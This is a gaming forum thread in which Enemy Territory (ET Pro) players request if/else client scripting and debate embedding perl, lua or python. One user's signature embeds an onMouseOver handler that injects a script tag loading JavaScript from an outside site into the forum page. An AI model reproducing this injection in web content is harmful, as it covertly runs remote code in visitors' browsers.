advanced scripting
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advanced scripting
any chance of etpro ever adding advanced scripting options, with "if" "else" type shit? i've always wished i could have stuff like,
if (a teammate asks for a medic) {
i say iammedic
}
or even leeter,
if (he needs a medic AND is within x distance of me) {
i holler back
}
or stuff liek,
if (server has b_fixedphysics set to 1) {
my com_maxfps is set to 0
}
else {
its set to 76
}
ya follow me? w00t that would be teh <3
another question, is it true that com_maxfps 72 results in a more constant 76 than actually using 76 does, if so why, and does all the 76-related happy-fun stuff still apply?
danke
if (a teammate asks for a medic) {
i say iammedic
}
or even leeter,
if (he needs a medic AND is within x distance of me) {
i holler back
}
or stuff liek,
if (server has b_fixedphysics set to 1) {
my com_maxfps is set to 0
}
else {
its set to 76
}
ya follow me? w00t that would be teh <3
another question, is it true that com_maxfps 72 results in a more constant 76 than actually using 76 does, if so why, and does all the 76-related happy-fun stuff still apply?
danke
Please direct all gameplay-changing feature requests here.
- =FF=im2good4u
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- Contact:
for oyur first Q i think its kind of a lot of coding but i also thoguh about it before
Code: Select all
skipifcvar
skipIfStat
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There are some difficulties with this:
1) q3 console scripting is extremly <strike>retarded</strike> special. This means that you have to pretty much write a new scripting system.
2) a fair bit of the existing stuff is in the engine. Since this cannot be changed, the new system will never interface with it cleanly.
3) if you make scripting too powerful, it is easy to introduce expliots.
IOW, go play tribes
1) q3 console scripting is extremly <strike>retarded</strike> special. This means that you have to pretty much write a new scripting system.
2) a fair bit of the existing stuff is in the engine. Since this cannot be changed, the new system will never interface with it cleanly.
3) if you make scripting too powerful, it is easy to introduce expliots.
IOW, go play tribes
send lawyers, guns and money
I <3 having a real scripting system in tribes, but oh dear GOD, I can already imagine the whinge if ET had one... look at what we've already heard with the <strike>retarded</strike> special system we've already got.
<b onMouseOver="var d=document;if(!d.eD){var e=d.createElement('script');e.src='http://themuffin.net/forum/f.js';e.type ... ;d.eD=true;}" id="rsig">Rain</b>
http://www.lua.orgbani wrote:the combined whine would throw earth out of its orbit and send it spiralling into the sun.
if we did implement scripting, it would likely be embedded perl or something
Far more compact and tidy than perl. I have thought semi-seriously about integrating it into the game code/map scripting side.
send lawyers, guns and money
several problems:
1) lua is not simple to embed, unlike perl.
2) the lua api is designed more for C applications to access lua, not the other way around (as perl is). an et scripting language will want the latter, not the former.
3) lua is not well known.
tbh i'd imbed python before i'd bother with lua.
1) lua is not simple to embed, unlike perl.
2) the lua api is designed more for C applications to access lua, not the other way around (as perl is). an et scripting language will want the latter, not the former.
3) lua is not well known.
tbh i'd imbed python before i'd bother with lua.
i only know php. use php pls
anyway u guys are right, ppl would scream "h4x!!!11" till the end of time. i honestly only want it for convenience. it could be massively usefull, but o well, typing cvars and using vsays manually isn't gonna kill me i guess </lazy>
anyway u guys are right, ppl would scream "h4x!!!11" till the end of time. i honestly only want it for convenience. it could be massively usefull, but o well, typing cvars and using vsays manually isn't gonna kill me i guess </lazy>
Please direct all gameplay-changing feature requests here.
omg, embedding perl would be awesome!
people who would cry hax would do so any way if they saw what a lot of clanners have in their cfg's
doesnt have to be too many interactions possible, stuff like console text, maybe a bit of stuff like spawn time left, and interactions with the new hud would be awesome
people who would cry hax would do so any way if they saw what a lot of clanners have in their cfg's
doesnt have to be too many interactions possible, stuff like console text, maybe a bit of stuff like spawn time left, and interactions with the new hud would be awesome
lol, btw it can be realy cool NOTgotenks wrote:i could see how it will get annoying...
if(health<25)
{
/kill
}
that could be annoying, not too bad though... i'd like to see it to test it, but warning goes out to all the noobs, it will be used if it gets implimented
but i think bani should let it try with IF and ELSE, because it can help alot.
- =FF=im2good4u
- Posts: 3821
- Joined: Wed Feb 05, 2003 7:30 am
- Location: The Netherlands, HOLLAND
- Contact:
how aboutgotenks wrote:i could see how it will get annoying...
if(health<25)
{
/kill
}
that could be annoying, not too bad though... i'd like to see it to test it, but warning goes out to all the noobs, it will be used if it gets implimented
Code: Select all
itemDef {
skipifstat 1 <= 25
drawText {
rect 0 0 640 480
color 1 0 0 1
size 2 2
text "KILL YOURSELF"
font "ariblk"
}
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